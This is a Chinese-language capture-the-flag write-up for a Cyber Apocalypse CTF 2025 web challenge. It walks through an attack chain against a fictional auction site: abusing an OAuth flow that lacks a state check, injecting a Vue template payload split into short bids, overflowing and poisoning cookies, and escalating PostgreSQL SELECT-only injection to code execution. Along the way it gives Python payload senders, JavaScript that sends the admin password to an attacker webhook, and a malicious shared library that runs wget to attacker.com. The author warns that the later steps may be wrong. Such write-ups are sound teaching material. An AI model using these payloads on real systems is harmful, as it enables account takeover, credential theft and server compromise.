缺乏验证的OAuth + 仅利用四个字符利用Vue前端模板注入进行xss + cookie投毒 + PostgreSQL 无堆叠注入 RCE-- Cyber Apocalypse CTF 2025

隐藏在埃尔多利亚充满活力的街道中,隐藏着一个充满传奇色彩的市场。在这里,遗物和魔法巨著低语着过去时代的故事,等待着那些敢于索取它们的人。使用直观的过滤系统浏览庞大的神秘文物档案,该系统按时代、元素力量等揭示宝藏。使用您辛苦赚来的 Eldorian Gold 与其他冒险者实时出价,每次出价都会解锁可能改变您对龙之心的探索的秘密。每一场胜利都会揭开 Eldoria 传奇过去的片段,将古老的魔法与现代策略融为一体。在这个充满活力的领域中,你的选择在历史的编年史中回荡——你会抓住重塑命运的遗物,还是让它们滑入传奇?

OAuth

先注册一个账号,发现登录验证并没有state

POST /oauth/authorize HTTP/1.1
Host: 94.237.49.252:52782
Content-Length: 125
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://94.237.49.252:52782
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.49.252:52782/oauth/authorize?response_type=code&client_id=GIObfzrImFcQj1mPfEENLTD12bTdTbfoYUApp1Cs&redirect_uri=%2Fcallback&scope=read
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AN6yQcz0cjAQ3RNFoph3hJnSdbIm_mPEL.FqjWWJ%2FWTLy6QQ%2FdKtiMnPrfT2RWcAMLvNqVrsyPJqk
Connection: keep-alive

response_type=code&client_id=GIObfzrImFcQj1mPfEENLTD12bTdTbfoYUApp1Cs&redirect_uri=%2Fcallback&scope=read&state=&approve=true

在 OAuth 2.0 协议中,state 是一个关键的安全参数,主要用于防止 跨站请求伪造(CSRF, Cross-Site Request Forgery) 攻击。以下是它的核心作用、实现方式及示例说明:


一、state 参数的作用

  1. 防御 CSRF 攻击

    • 攻击者可能伪造一个 OAuth 授权请求链接,诱导用户点击。如果用户已登录授权服务器(如 Google、GitHub),攻击者可能获取用户的授权令牌(Access Token)。
    • state 参数通过绑定客户端生成的随机值与用户会话(Session),确保授权回调的请求是合法的。
  2. 保持客户端状态

    • 在 OAuth 流程中,用户从授权服务器跳转回客户端时,state 可携带客户端发起请求时的上下文信息(例如用户原访问的页面 URL)。

二、state 的工作流程

  1. 生成随机值
    客户端生成一个 唯一且不可预测 的随机字符串(如 UUID),并保存到用户的会话(Session)中。

    // 示例:生成随机 state(Node.js)
    const state = require('crypto').randomBytes(16).toString('hex');
    // 保存到 Session
    req.session.oauth_state = state;
    
  2. 附加到授权请求
    state 作为参数添加到 OAuth 授权 URL 中,发送用户到授权服务器:

   GET https://oauth-provider.com/authorize?
     response_type=code&
     client_id=CLIENT_ID&
     redirect_uri=CALLBACK_URI&
     state=RANDOM_STATE
  1. 验证回调请求
    当授权服务器回调客户端时,客户端需验证返回的 state 是否与会话中保存的值一致:

    // 验证回调中的 state(Node.js)
    if (req.query.state !== req.session.oauth_state) {
      throw new Error("Invalid state parameter");
    }
    // 验证通过后,清除 Session 中的 state
    delete req.session.oauth_state;
    

这意味任何人都可使用此凭证登录你的账号

SSRF

我们发现可以向服务器发送组队招募,你可以在其中附带url,管理员会访问这个url

POST /api/submissions HTTP/1.1
Host: 94.237.58.253:55938
Content-Length: 72
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://94.237.58.253:55938
Referer: http://94.237.58.253:55938/submit
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3A2IqOJQuoxz573_MErGo6sPvkGlfU5LZI.G1JAiNdtLUeTwEpDg7pczY3HicBChnrGuN3l9wyRwAY
Connection: keep-alive

{"name":"666","description":"6666","url":"http://666","category":"lore"}

存在一个机器人,会访问你留言中的url

// 引入 Puppeteer 和 fs 模块  
const puppeteer = require("puppeteer");  
const fs = require("fs");  
  
// 设置用户数据目录路径  
const USER_DATA_DIR = "/tmp/session";  
  
// 检查用户数据目录是否存在,如果不存在则创建它  
if (!fs.existsSync(USER_DATA_DIR)) {  
  fs.mkdirSync(USER_DATA_DIR, { recursive: true }); // 创建目录,包含必要的父目录  
  console.log(`Created user data directory at ${USER_DATA_DIR}`);  
}  
  
// 定义一个异步函数,用于使用 Puppeteer 处理指定的 URLasync function processURLWithBot(url) {  
  // 启动 Puppeteer 浏览器实例  
  const browser = await puppeteer.launch({  
    headless: true, // 启动无头模式,即浏览器界面不显示  
    args: [  
      '--no-sandbox', // 禁用沙箱模式  
      '--disable-popup-blocking', // 禁用弹出窗口阻止  
      '--disable-background-networking', // 禁用后台网络请求  
      '--disable-default-apps', // 禁用默认应用程序  
      '--disable-extensions', // 禁用浏览器扩展  
      '--disable-gpu', // 禁用 GPU 加速  
      '--disable-sync', // 禁用浏览器同步功能  
      '--disable-translate', // 禁用自动翻译功能  
      '--hide-scrollbars', // 隐藏滚动条  
      '--metrics-recording-only', // 仅记录性能指标,不进行页面渲染  
      '--mute-audio', // 禁用音频  
      '--no-first-run', // 禁用首次启动时的引导  
      '--safebrowsing-disable-auto-update', // 禁用自动更新安全浏览功能  
      '--js-flags=--noexpose_wasm,--jitless' // 设置 JavaScript 相关标志,禁用 WebAssembly 和 JIT 编译器  
    ],  
    userDataDir: USER_DATA_DIR, // 使用指定的用户数据目录,保持会话状态  
  });  
  
  // 创建新的页面实例  
  const page = await browser.newPage();  
  
  try {  
    // 从环境变量中获取管理员密码  
    const adminPassword = process.env.ADMIN_PASSWORD;  
  
    // 如果环境变量中没有设置管理员密码,则抛出错误  
    if (!adminPassword) {  
      throw new Error("Admin password not set in environment variables.");  
    }  
  
    // 访问本地的管理页面  
    await page.goto("http://127.0.0.1:1337/");  
  
    // 打印当前浏览器的 cookies 信息  
    console.log(await browser.cookies());  
  
    // 如果页面不是预期的登录页面,则执行登录操作  
    if (page.url() != "http://127.0.0.1:1337/") {  
      console.log("logging in IN");  
  
      // 填写用户名和密码  
      await page.type('input[name="username"]', "admin");  
      await page.type('input[name="password"]', adminPassword);  
  
      // 提交表单并等待页面导航完成  
      await Promise.all([  
        page.click('button[type="submit"]'), // 点击登录按钮  
        page.waitForNavigation({ waitUntil: "networkidle0" }), // 等待页面加载完成  
      ]);  
  
      // 打印登录后浏览器的 cookies 信息  
      console.log(await browser.cookies());  
    } else {  
      // 如果已经登录,输出相关信息  
      console.log("already logged in");  
      console.log(await page.url());  
    }  
  
    // 访问传入的 URL 并等待网络空闲  
    await page.goto(url, { waitUntil: "networkidle0" });  
  
    // 等待 5 秒钟,以确保页面加载完成  
    await new Promise(resolve => setTimeout(resolve, 5000));  
  
  } catch (err) {  
    // 捕获并打印错误信息  
    console.error(`Bot encountered an error while processing URL ${url}:`, err);  
  } finally {  
    // 无论如何都关闭浏览器实例  
    await browser.close();  
  }  
}  
  
// 导出 processURLWithBot 函数供其他模块使用  
module.exports = { processURLWithBot };

我们可以让其导向我们自身服务器来执行任意js

预期解:

当我们查看我们的出价时,此模板直接渲染了我们的输入{{ bid.amount }}

{% extends "layout.html" %}

{% block content %}
<div class="rpg-panel" id="my_bids">
  <div class="panel-header">
    <i class="fa-solid fa-money-check-alt"></i>
    <h2 class="panel-title">My Bids</h2>
  </div>
  {% if bids and bids.length > 0 %}
    <table class="auction-table">
      <thead>
        <tr>
          <th>Resource Name</th>
          <th>Bidder</th>
          <th>Bid Amount</th>
          <th>Placed On</th>
        </tr>
      </thead>
      <tbody>

        {% for bid in bids %}
        <tr>
          <td>{{ bid.resourcename }}</td>
          <td>{{ bid.bidder }}</td>
          <td>{{ bid.amount }}</td>
          <td>{{ bid.createdat }}</td>
        </tr>
        {% endfor %}
      </tbody>
    </table>
  {% else %}
    <p>You have not placed any bids yet.</p>
  {% endif %}
</div>
{% endblock %}

有效负载长度不能超过 10

/**
 * 在拍卖中出价的路由处理函数
 * @param {Object} req - Express 请求对象
 * @param {Object} res - Express 响应对象
 */
router.post('/auctions/:id/bids', isAuthenticated, async (req, res) => {
  try {
    // 从请求参数中获取拍卖 ID
    const auctionId = req.params.id;
    // 从会话中获取用户 ID
    const userId = req.session.userId;
    // 从请求体中获取出价信息
    const { bid } = req.body;

    // 检查出价长度是否超过 10
    if (bid.length > 10) {
      // 如果超过,返回 400 错误
      return res.status(400).json({ success: false, message: 'Too long' });
    }
    // 提交出价
    await placeBid(auctionId, userId, bid);
    // 返回出价成功的响应
    return res.json({ success: true });
  } catch (err) {
    // 记录出价时的错误信息
    console.error('Error placing bid:', err);
    // 根据错误信息设置返回的状态码
    const status = err.message.includes('Invalid') ? 400
                  : (err.message.includes('not found') || err.message.includes('closed')) ? 404
                  : 500;
    // 返回相应状态码的错误响应
    return res.status(status).json({ success: false, message: err.message || 'Internal server error.' });
  }
});

尽管拥有严格的长度限制,但是多次的渲染使得我们可以反复拼接变量,题目当在后端渲染后,会再次再前端渲染

/**
 * 初始化我的出价页面的Vue实例
 */
function initMyBidsVue() {
  // 创建一个新的Vue实例
  new Vue({
    // 绑定到ID为my_bids的DOM元素
    el: "#my_bids",
    // 设置模板分隔符
    delimiters: ['${', '}'],
    // 定义数据对象
    data: {
    },
    // 定义计算属性
    computed: {
    },
    // 定义方法
    methods: {
    }
  });
}

我们可以拼接变量来构造任意字符串

from codes.WebAttack import *  
from codes.WebSockteAttack import *  
from codes.InjectTools import *  
  
exp = "that_interesting"  
  
io = WebAttack("""  
POST /api/auctions/2/bids HTTP/1.1  
Host: 192.168.81.137:1337  
Content-Length: 11  
Accept-Language: zh-CN,zh;q=0.9  
Accept: application/json, text/plain, */*  
Content-Type: application/json  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Origin: http://192.168.81.137:1337  
Referer: http://192.168.81.137:1337/auction/2  
Accept-Encoding: gzip, deflate, br  
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc  
Connection: keep-alive  
  
{"bid":"{$}"}  
""")  
  
exp = list(exp)  
pay = ['${a=\'' + exp[0] + '\'}']  
exp = exp[1:]  
for i in exp:  
    pay.append('${a+=\'' + i + '\'}')  
print(pay)  
for i in pay:  
    io.send([i])

从字典发送

from codes.WebAttack import *  
from codes.WebSockteAttack import *  
from codes.InjectTools import *  

io = WebAttack("""  
POST /api/auctions/2/bids HTTP/1.1  
Host: 192.168.81.137:1337  
Content-Length: 11  
Accept-Language: zh-CN,zh;q=0.9  
Accept: application/json, text/plain, */*  
Content-Type: application/json  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Origin: http://192.168.81.137:1337  
Referer: http://192.168.81.137:1337/auction/2  
Accept-Encoding: gzip, deflate, br  
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc  
Connection: keep-alive  
  
{"bid":"{$}"}  
""")  
  
with open('dict', 'r', encoding='utf-8') as file:  
    lines = file.readlines()  
  
for line in lines:
    io.send([line])

但是这还不足以引起xss

像亿万富翁一样出价 - 使用 4 个字符的 CSTI 窃取 NFT - Matan Berson

题目给出了一个方式进行xss

{{_s.constructor("alert(1)")()}}

题目验证比较宽松,使用拆分即可

trick: 在 JavaScript 中,class.func 和 class['func'] 是等价的,反引号是可以跨越多行的

${s=_s}  
${a='c'}  
${a+='o'}  
${a+='n'}  
${a+='s'}  
${a+='t'}  
${a+='r'}  
${a+='u'}  
${a+='c'}  
${a+='t'}  
${a+='o'}  
${a+='r'}  
${c=s[a]}  
${b='a'}  
${b+='l'}  
${b+='e'}  
${b+='r'}  
${b+='t'}  
${b+='('}  
${b+='1'}  
${b+=')'}  
${c(b)()}
from codes.WebAttack import *  
from codes.WebSockteAttack import *  
from codes.InjectTools import *  
  
io = WebAttack("""  
POST /api/auctions/3/bids HTTP/1.1  
Host: 192.168.81.137:1337  
Content-Length: 11  
Accept-Language: zh-CN,zh;q=0.9  
Accept: application/json, text/plain, */*  
Content-Type: application/json  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Origin: http://192.168.81.137:1337  
Referer: http://192.168.81.137:1337/auction/3  
Accept-Encoding: gzip, deflate, br  
Cookie: connect.sid=s%3Ag4FUzTXh6CozjDhjGwe_Bz1DkCwH9H4p.oJBx5T3sA0P%2BRMrX08Gg6ME4N0mhqi%2FgBQMr8GaCVYs  
Connection: keep-alive  
  
{"bid":"{$}"}  
""")  
  
exp_list = []  
  
def save_txt(var, exp):  
    exp = list(exp)  
    pay = '${' + var + '=\'' + exp[0] + '\'}'  
    exp_list.append(pay)  
    exp = exp[1:]  
    for i in exp:  
        if i == '\n':  
            i = '\\n'  
        exp_list.append('${' + var + '+=\'' + i + '\'}')  
  
save_txt('a','constructor')  
save_txt('b','alert(1)')  
exp_list.append('${s=_s}')  
exp_list.append('${c=s[a]}')  
exp_list.append('${c(b)()}')  
  
for i in exp_list:  
    print(i)  
    io.send([i])

如果你希望理解预期解决

Vue.js 的模板原理是其响应式系统的核心之一,它通过将模板转换为虚拟 DOM 并结合响应式数据绑定,实现高效的视图更新。以下是其核心原理的分步解析:

1. 模板编译(Compilation)

Vue 的模板本质是 声明式语法,浏览器无法直接执行,需编译为 JavaScript 可执行的 渲染函数。编译过程分为三个阶段:

1.1 解析(Parsing)
  • 输入:HTML 字符串模板(如 <div>{{ message }}</div>)。
  • 过程:通过 解析器(Parser) 将模板字符串转换为 抽象语法树(AST,Abstract Syntax Tree)
    • AST 是树形结构,描述模板中的元素、属性、指令等信息。
    • 例如,v-ifv-for{{ }} 插值等会被解析为 AST 节点。
1.2 优化(Optimization)
  • 静态标记:遍历 AST,标记 静态节点(无动态绑定或指令的节点)。
    • 静态节点在后续更新中不会变化,可跳过 Diff 比较。
  • 提升静态内容:将静态节点提升到渲染函数外部,避免重复创建。
1.3 生成代码(Code Generation)
  • 输入:优化后的 AST。
  • 输出:生成可执行的 渲染函数(Render Function)
    • 渲染函数通过 createElement(或 h 函数)生成 虚拟 DOM(Virtual DOM)
    • 例如,<div>{{ message }}</div> 会被编译为:
      function render() {
        return h('div', this.message);
      }
      

2. 响应式数据绑定

Vue 的 响应式系统 负责监听数据变化并触发视图更新,其核心是:

  • 依赖收集:在渲染函数执行时,通过 getter 收集当前数据的依赖(即 Watcher)。
  • 派发更新:数据变化时,通过 setter 通知依赖(Watcher)执行重新渲染。
示例流程:
  1. 模板中访问 {{ message }},触发 messagegetter
  2. 将当前组件的 渲染 Watcher 注册为 message 的依赖。
  3. message 被修改时,触发 setter,通知所有依赖的 Watcher。
  4. Watcher 调用渲染函数生成新的虚拟 DOM,触发 Diff 和更新。

3. 虚拟 DOM 与 Diff 算法

3.1 虚拟 DOM(Virtual DOM)
  • 渲染函数返回的轻量级 JavaScript 对象,描述真实 DOM 的结构。
  • 例如:
    {
      tag: 'div',
      props: { id: 'app' },
      children: 'Hello Vue!'
    }
    
3.2 Diff 算法
  • 当数据变化时,生成新的虚拟 DOM,与旧的虚拟 DOM 进行对比(Diff)。
  • 高效更新:仅对变化的节点进行真实 DOM 操作,避免全量更新。
  • Vue 的 Diff 算法优化策略:
    • 同层比较:仅比较同一层级的节点,不跨层级。
    • Key 优化:通过 key 标识节点,减少不必要的节点销毁/重建。

4. 指令与语法糖

Vue 的模板语法(如 v-ifv-forv-model)会被编译为 JavaScript 逻辑:

  • v-if:编译为条件判断语句(三元表达式或 if-else)。
  • v-for:编译为循环语句(如 list.map(item => h(...)))。
  • v-model:语法糖,编译为 value 绑定和 input 事件监听。

总结:Vue 模板的核心流程

模板字符串 → AST → 优化后的 AST → 渲染函数 → 虚拟 DOM → Diff → 真实 DOM 更新

通过这一机制,Vue 实现了 声明式编程高效更新 的结合,开发者只需关注数据逻辑,无需手动操作 DOM。

你可以在控制台处运行代码查看输出

const { compile, h } = Vue;

// 定义模板字符串
const template = `<div>{{ message }}</div>`;

// 编译模板
const { render } = compile(template);

// 输出 render 函数
console.log(render.toString());
function anonymous(
) {
with(this){return _c('div',[_v(_s(message))])}
} debugger eval code:10:9

tips:每次代码执行后都需要刷新页面

const { compile, h } = Vue;

// 定义模板字符串
const template = "<div>{{a=\`}}{{hhhh}}{{\`}}</div>";

// 编译模板
const { render } = compile(template);

// 输出 render 函数
console.log(render.toString());
function anonymous(
) {
with(this){return _c('div',[_v(_s(a=`)+_s(hhhh)+_s(`))])}
}

只要你没有跳过文章的任何一部分,而且有一部分js基础,相信你一定能理解下面的有效负载如何而来

(function anonymous() {
    with (this) {
        return _c('div', {
            attrs: {
                "id": "content"
            }
        }, [_m(0), _v(" "), _c('div', {
            staticClass: "seperator"
        }), _v(" "), _c('div', {
            staticClass: "container"
        }, [_c('p', [_c('b', [_v("$1.0")]), _v(" by "), _c('b', [_v(_s(a=`1))]),_v(" - "),_c('span',{staticClass:"date"},[_v("14:10 Jun 06, 2024")])]),_v(" "),_c('p',[_c('b',[_v("$1.0")]),_v(" by "),_c('b',[_v(_s(hhhh))]),_v(" - "),_c('span',{staticClass:"date"},[_v("13:58 Jun 06, 2024")])]),_v(" "),_c('p',[_c('b',[_v("$1.0")]),_v(" by "),_c('b',[_v(_s(`))]), _v(" - "), _c('span', {
            staticClass: "date"
        }, [_v("13:57 Jun 06, 2024")])]), _v(" "), _m(1), _v(" "), _m(2), _v(" "), _m(3)])])
    }
})
{{z=70}}
{{z+=z}} // z = 140
{{a=`}}
{{hhhh}}
{{`[z]}} // a = "h"
{{a+=`}}
{{xxxx}}
{{`[z]}} // a = "hx"
{{a+=`}}
{{xxxx}}
{{`[z]}} // a = "hxx"
{{a+=`}}
{{dddd}}
{{`[z]}} // a = "hxxd"

trick:其实还有一个语法,但是我没去研究利用,先放出来吧

// 定义标签函数
function myTag(strings, ...values) {
  // strings: 静态字符串片段的数组
  // values: 动态插入值的数组
  console.log("Strings:", strings);
  console.log("Values:", values);
  return "Processed Result"; // 返回最终处理后的字符串
}

// 使用标签模板调用
const result = myTag`Hello ${"World"}, 1 + 2 = ${1 + 2}`;
console.log(result);

可以写出这样的

function some_func(strings, ...values) {  
    console.log(strings);  
}  
  
some_func`data`;

非预期1

My Submissions 面板同样存在xss

POST /api/submissions HTTP/1.1
Host: 192.168.81.137:1337
Content-Length: 126
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://192.168.81.137:1337
Referer: http://192.168.81.137:1337/submit
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc
Connection: keep-alive

{"name":"<script>alert('xss')</script>","description":"<script>alert('xss')</script>","url":"https://a.com","category":"lore"}

非预期2:利用数组

{"bid": ["'><script>alert('xss')</script><div>", 2]}

这将导致某些内容被错误的拼接

返回包中的

<div id="auction-details-panel" class="rpg-panel" data-auction='{"id":3,"resourceid":3,"startingbid":300,"currentbid":null,"endtime":"2025-12-31T23:59:59.000Z","createdat":"2025-04-03T09:53:22.479Z","resourcename":"Shield of Eternity","bids":[{"id":6,"auctionid":3,"userid":1,"amount":"400","createdat":"2025-04-03T09:53:22.482Z","resourcename":"Shield of Eternity","bidder":"admin"},{"id":5,"auctionid":3,"userid":1,"amount":"350","createdat":"2025-04-03T09:53:22.480Z","resourcename":"Shield of Eternity","bidder":"admin"}]}'>

将会变成

<script>alert('xss')</script><div>\",\"2\"}","endtime":"2025-12-31T23:59:59.000Z","createdat":"2025-04-03T09:53:22.471Z","resourcename":"Sword of Malakar","bids":[{"id":22,"auctionid":2,"userid":2,"amount":"{\"'><script>alert('xss')</script><div>\",\"2\"}","createdat":"2025-04-03T11:54:25.373Z","resourcename":"Sword of Malakar","bidder":"wfafawfs"},{"id":4,"auctionid":2,"userid":1,"amount":"300","createdat":"2025-04-03T09:53:22.475Z","resourcename":"Sword of Malakar","bidder":"admin"},{"id":3,"auctionid":2,"userid":1,"amount":"250","createdat":"2025-04-03T09:53:22.473Z","resourcename":"Sword of Malakar","bidder":"admin"}]}'>

继续

注意: 这之后的部分不一定是正确的!(太难了写不动了)

我们使用预期解来继续,现在我们将利用OAuth漏洞使得admin登录我们的账号执行js

由于题目存在会话 cookie 是 HTTPOnly设置的,因此我们无法使用 Javascript 覆盖它

我们可以使用以下脚本让其执行我们的xss

<script>
  window.open('http://127.0.0.1:1337/logout');

  // Wait 2 seconds, then redirect the current page
  setTimeout(function() {
    window.open('http://127.0.0.1:1337/callback?code={code}');
  }, 1000);

  setTimeout(function() {
    window.open('http://127.0.0.1:1337/my-bids');
  }, 2000);
</script>

我们在登录的最后一步停止,即可获得{code},然后我们在/my-bids部署此脚本

const cookieJar = 300
cookiez = "connect.sid=[Session COOKIE]"
if (document.cookie == cookiez) {
  fetch('http://[attacker webhook]?begin=true')

  sendQuery();
  fetch('http://[attacker webhook]?begin=false')

}
else {
  for (let i = 0; i < cookieJar;i++){
    document.cookie = "cookie"+i+"=a; Secure"
  }

  for (let i = 0; i < cookieJar;i++){
    document.cookie = "cookie" + i + "=a; expires=Thu, 01 Jan 1970 00:00:01 GMT";
  }

  document.cookie = cookiez + ";path=/my-bids; expires=" + new Date(Date.now() + 24 * 60 * 60 * 1000).toUTCString();

}


async function sendQuery() {
  try {
    const response = await fetch("/table", {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({ tableName: "users" }),
        });

    const data = await response.json();

    if (data.success) {
      fetch('http://[attacker webhook]?x=' + btoa(data.results[0].password))
      console.log('Query Results:', data.results);
    } else {
      fetch('http://[attacker webhook]?error=' + btoa(data))
      console.error('Query Error:', data.message);
    }
  } catch (error) {
    fetch('http://[attacker webhook]?catch=' + btoa(error))
    console.error('Request Failed:', error);
  }
}

原理部分

Cookie 溢出攻击

else {
  // 第一阶段:创建300个临时Cookie(占满浏览器Cookie配额)
  for (let i = 0; i < cookieJar; i++) {
    document.cookie = "cookie"+i+"=a; Secure"; 
  }

  // 第二阶段:立即删除这些临时Cookie(连带清除原有Cookie)
  for (let i = 0; i < cookieJar; i++) {
    document.cookie = "cookie" + i + "=a; expires=Thu, 01 Jan 1970 00:00:01 GMT";
  }

  // 第三阶段:植入攻击者的会话Cookie
  document.cookie = cookiez + ";path=/my-bids; expires=...";
}
  1. 浏览器 Cookie 数量限制

    • 浏览器对每个域名下可存储的 Cookie 数量有上限(通常 150-300)。
    • 例如:Chrome 限制为 180个 Cookie,超出后会自动删除旧 Cookie。
  2. 强制清理机制

    • 步骤1:快速创建 300 个名为 cookie0, cookie1… 的临时 Cookie。
      document.cookie = "cookie0=a; Secure"; // 占满配额
      
    • 步骤2:立即将这些临时 Cookie 设置为过期(删除)。
      document.cookie = "cookie0=a; expires=旧时间"; // 触发删除
      
    • 结果:由于浏览器优先清理最早创建的 Cookie,原会话 Cookie(包括 HttpOnly)会被强制删除。
Cookie 投毒
document.cookie = "connect.sid=攻击者Cookie; path=/my-bids; expires=未来时间";
攻击原理
  1. 路径隔离

    • 将攻击者的 Cookie 作用范围限定在 /my-bids 路径。
    • 当用户访问 /my-bids 时,浏览器会携带此 Cookie,其他路径仍使用正常会话。
  2. 优先级覆盖

    • 如果原会话 Cookie 的 Path 为 /(全局),访问 /my-bids 时:
      • 浏览器会同时携带 全局 Cookie/my-bids 路径 Cookie
      • 服务端通常以 最后一个 Cookie 为准,攻击者 Cookie 覆盖原会话。

当第一次攻击完成后,cookie将被投毒,脚本的第二部分将会执行,当我们再次让服务器访问http://127.0.0.1:1337/my-bids admin cookie会被新增,但是我们投毒的cooke不会消失http://127.0.0.1:1337/my-bids返回的仍将是我们所控制的xss内容

检查Cookie是否被控制
执行敏感查询
执行Cookie溢出攻击
清除所有旧Cookie
植入攻击者Cookie
触发页面刷新
外传管理员密码
// Endpoint: Get list of tables (PostgreSQL version)
router.get("/tables", isAdmin, async (req, res) => {
  try {
    // PostgreSQL query to list tables in the 'public' schema
    const tables = await runReadOnlyQuery(`
      SELECT table_name
      FROM information_schema.tables
      WHERE table_schema = 'public'
        AND table_type = 'BASE TABLE'
      ORDER BY table_name;
    `);
    res.json({ success: true, tables });
  } catch (error) {
    console.error("Fetching Tables Error:", error);
    res
      .status(500)
      .json({ success: false, message: "Error fetching tables" });
  }
});
4. 完整攻击链还原
用户浏览器 攻击者服务器 目标网站 访问恶意页面 返回攻击脚本 触发XSS执行 返回当前Cookie状态 以管理员身份查询/users表 返回密码数据 外传密码 执行Cookie溢出攻击 植入攻击者Cookie 重定向到/my-bids路径 alt [Cookie已被控制] [Cookie未被控制] 用户浏览器 攻击者服务器 目标网站

从PostgreSQL数据库注入到任意代码执行

当我们获得管理员后,可以执行一项有风险的查询

// New Endpoint: Get all records from a specified table (POST version)
router.post("/table", isAdmin, async (req, res) => {
  const { tableName } = req.body;
  try {
    const query = `SELECT * FROM "${tableName}"`;

    if (query.includes(';')) {
      return res
        .status(400)
        .json({ success: false, message: "Multiple queries not allowed!" });
    }

    const results = await runReadOnlyQuery(query);
    res.json({ success: true, results });
  } catch (error) {
    console.error("Table Query Error:", error);
    res.status(500).json({
      success: false,
      message: "Error fetching table data.",
    });
  }
});

但是此挑战不允许使用分号

PostgreSQL SQL 注入:仅 SELECT RCE |@adeadfed

根据文章

1. 读取当前配置文件

目标:获取 PostgreSQL 的配置文件路径及内容,为篡改配置做准备。

-- 步骤1.1:列出所有已加载的配置文件路径
SELECT sourcefile FROM pg_file_settings;

-- 步骤1.2:将配置文件导入为大对象(ID=31337)
SELECT lo_import('/var/lib/postgresql/data/postgresql.conf', 31337);

-- 步骤1.3:读取大对象内容(显示配置原文)
SELECT lo_get(31337);
  • 关键函数
    • lo_import(filename, oid):将服务器文件加载到 PostgreSQL 大对象存储,返回对象 ID。
    • lo_get(oid):读取大对象内容(二进制或文本格式)。
  • 作用:确认配置文件路径和内容,分析可修改的参数(如 local_preload_libraries)。
2. 篡改配置文件

目标:覆盖配置文件,强制 PostgreSQL 加载恶意共享库。

-- 步骤2.1:将新配置(Base64编码)写入大对象(ID=133337)
SELECT lo_from_bytea(133337, decode('IyAtIENv...ZC5zbyc=', 'base64'));

-- 步骤2.2:导出大对象覆盖原配置文件
SELECT lo_export(133337, '/var/lib/postgresql/data/postgresql.conf');
  • 关键操作
    • 构造恶意配置:在配置中添加 local_preload_libraries='/tmp/evil.so',指定预加载恶意库。
    • Base64 编码:避免特殊字符干扰 SQL 语句。
  • 依赖条件
    • PostgreSQL 进程用户对配置文件有写入权限。
    • dynamic_library_path 包含 /tmp(恶意库存放路径)。
3. 分块上传恶意库

目标:将编译好的恶意 .so 文件上传到服务器。

-- 步骤3.1:获取 PostgreSQL 版本,确保库兼容性
SELECT version();

-- 步骤3.2:初始化大对象(ID=133338)并写入第一块数据
SELECT lo_from_bytea(133338, decode('f0VMRgIBAQ...AAA=', 'base64'));

-- 步骤3.3:追加后续数据块(偏移量递增)
SELECT lo_put(133338, 2048, decode('AAAAAA...AAAA=', 'base64')); -- 第2块
SELECT lo_put(133338, 4096, decode('BBBBBB...BBBB=', 'base64')); -- 第3块

-- 步骤3.4:导出完整 .so 文件
SELECT lo_export(133338, '/tmp/evil.so');
  • 关键函数
    • lo_from_bytea(oid, data):创建大对象并写入初始数据。
    • lo_put(oid, offset, data):在指定偏移量追加数据。
  • 分块原因
    • 避免单次查询传输数据过大被拦截或截断。
    • Base64 编码后的字符串长度限制。
4. 触发配置重载

目标:使 PostgreSQL 重新加载配置,加载恶意库。

-- 步骤4.1:发送 SIGHUP 信号重载配置
SELECT pg_reload_conf();
  • 结果
    • PostgreSQL 重新读取 postgresql.conf,加载 /tmp/evil.so
    • 恶意库中的代码(如反弹 Shell)自动执行。

编译库以下库上传

#include <stdlib.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _PG_init(void)
{
    system("wget \"https://attacker.com/?x=$(/readflag)\"");
}

先获取版本

SELECT version();

获取版本后安装工具链

sudo apt-get install postgresql-server-dev-XX gcc make

然后使用以下命令编译库,并按照之前步骤上传并加载库获得flag

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

参考

cyber-apocalypse-2025/web/web_aurorus_archive/README.md 在主 ·Hackthebox/Cyber-Apocalypse-2025 ·GitHub的

像亿万富翁一样出价 - 使用 4 个字符的 CSTI 窃取 NFT - Matan Berson

PostgreSQL SQL 注入:仅 SELECT RCE |@adeadfed

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

